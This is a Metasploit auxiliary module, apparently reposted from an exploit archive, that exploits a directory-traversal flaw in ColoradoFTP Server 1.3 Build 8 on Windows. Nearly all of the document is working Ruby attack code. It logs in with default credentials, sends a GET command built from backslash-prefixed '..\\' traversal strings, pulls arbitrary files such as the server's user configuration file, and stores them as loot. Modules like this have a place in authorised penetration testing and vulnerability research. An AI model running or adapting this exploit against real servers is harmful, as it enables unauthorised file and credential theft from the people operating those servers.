ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure',  
'Description' => %q{  
This module exploits a directory traversal vulnerability found in ColoradoFTP server  
version <= 1.3 Build 8. This vulnerability allows an attacker to download and upload arbitrary files  
from the server GET/PUT command including file system traversal strings starting with '\\\'.  
The server is written in Java and therefore platform independent, however this vulnerability is only  
exploitable on the Windows version.  
},  
'Platform' => 'win',  
'Author' =>  
[  
'h00die <[email protected]>',  
'RvLaboratory', #discovery  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '40231'],  
[ 'URL', 'https://bitbucket.org/nolife/coloradoftp/commits/16a60c4a74ef477cd8c16ca82442eaab2fbe8c86'],  
[ 'URL', 'https://bugtraq.securityfocus.com/archive/1/539186']  
],  
'DisclosureDate' => '2016-08-11'  
))  
  
register_options(  
[  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 2 ]),  
OptString.new('PATH', [ true, 'Path to the file to disclose, relative to the root dir.', 'conf\\xml-users.xml']),  
OptString.new('FTPUSER', [ true, 'Username to use for login', 'ftpuser'], fallbacks: ['USERNAME']), #override default  
OptString.new('FTPPASS', [ true, 'Password to use for login', 'ftpuser123'], fallbacks: ['PASSWORD']) #override default  
])  
  
end  
  
def check_host(ip)  
begin  
connect  
if /Welcome to ColoradoFTP - the open source FTP server \(www\.coldcore\.com\)/i === banner  
return Exploit::CheckCode::Detected  
end  
ensure  
disconnect  
end  
  
Exploit::CheckCode::Safe  
end  
  
def run_host(ip)  
begin  
connect_login  
file_path = datastore['PATH']  
file = ::File.basename(file_path)  
  
# make RETR request and store server response message...  
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"  
res = send_cmd_data( ['get', retr_cmd], '')  
unless res.nil?  
print_status(res[0])  
response_data = res[1]  
else  
print_error("#{file} not found or invalid login")  
return  
end  
  
if response_data.length == 0  
print_status("File (#{file_path})from #{peer} is empty...")  
return  
end  
  
# store file data to loot  
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)  
vprint_status("Data returned:\n")  
vprint_line(response_data)  
print_good("Stored #{file_path} to #{loot_file}")  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e  
vprint_error(e.message)  
elog(e)  
rescue ::Timeout::Error, ::Errno::EPIPE => e  
vprint_error(e.message)  
elog(e)  
ensure  
data_disconnect  
disconnect  
end  
end  
end  
`